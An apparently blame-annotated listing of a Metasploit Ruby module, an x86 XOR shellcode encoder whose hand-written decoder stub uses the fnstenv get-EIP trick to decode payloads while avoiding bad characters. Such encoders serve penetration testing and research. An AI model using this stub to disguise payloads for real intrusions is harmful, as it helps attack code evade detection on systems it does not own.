2005-10-31 18:27:35 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
module Encoders
|
|
|
|
module X86
|
|
|
|
|
|
|
|
class FnstenvMov < Msf::Encoder::Xor
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
2005-10-31 19:16:10 +00:00
|
|
|
'Name' => 'Variable-length Fnstenv/mov Dword XOR Encoder',
|
2005-10-31 18:27:35 +00:00
|
|
|
'Version' => '$Revision$',
|
2005-10-31 18:56:55 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This encoder uses a variable-length mov equivalent instruction
|
|
|
|
with fnstenv for getip.
|
|
|
|
},
|
2005-10-31 18:27:35 +00:00
|
|
|
'Author' => 'spoonm',
|
|
|
|
'Arch' => ARCH_X86,
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-10-31 18:27:35 +00:00
|
|
|
'Decoder' =>
|
|
|
|
{
|
|
|
|
'KeySize' => 4,
|
|
|
|
'BlockSize' => 4,
|
|
|
|
})
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Returns the decoder stub that is adjusted for the size of the buffer
|
|
|
|
# being encoded.
|
|
|
|
#
|
|
|
|
def decoder_stub(state)
|
|
|
|
decoder =
|
2005-11-01 00:48:40 +00:00
|
|
|
Rex::Arch::X86.set(
|
2005-10-31 18:27:35 +00:00
|
|
|
Rex::Arch::X86::ECX,
|
2005-11-01 00:48:40 +00:00
|
|
|
(((state.buf.length - 1) / 4) + 1),
|
2005-10-31 18:27:35 +00:00
|
|
|
state.badchars) +
|
|
|
|
"\xd9\xee" + # fldz
|
|
|
|
"\xd9\x74\x24\xf4" + # fnstenv [esp - 12]
|
|
|
|
"\x5b" + # pop ebx
|
|
|
|
"\x81\x73\x13XORK" + # xor_xor: xor DWORD [ebx + 22], xorkey
|
|
|
|
"\x83\xeb\xfc" + # sub ebx,-4
|
|
|
|
"\xe2\xf4" # loop xor_xor
|
|
|
|
|
|
|
|
state.decoder_key_offset = decoder.index('XORK')
|
|
|
|
|
|
|
|
return decoder
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end end end
|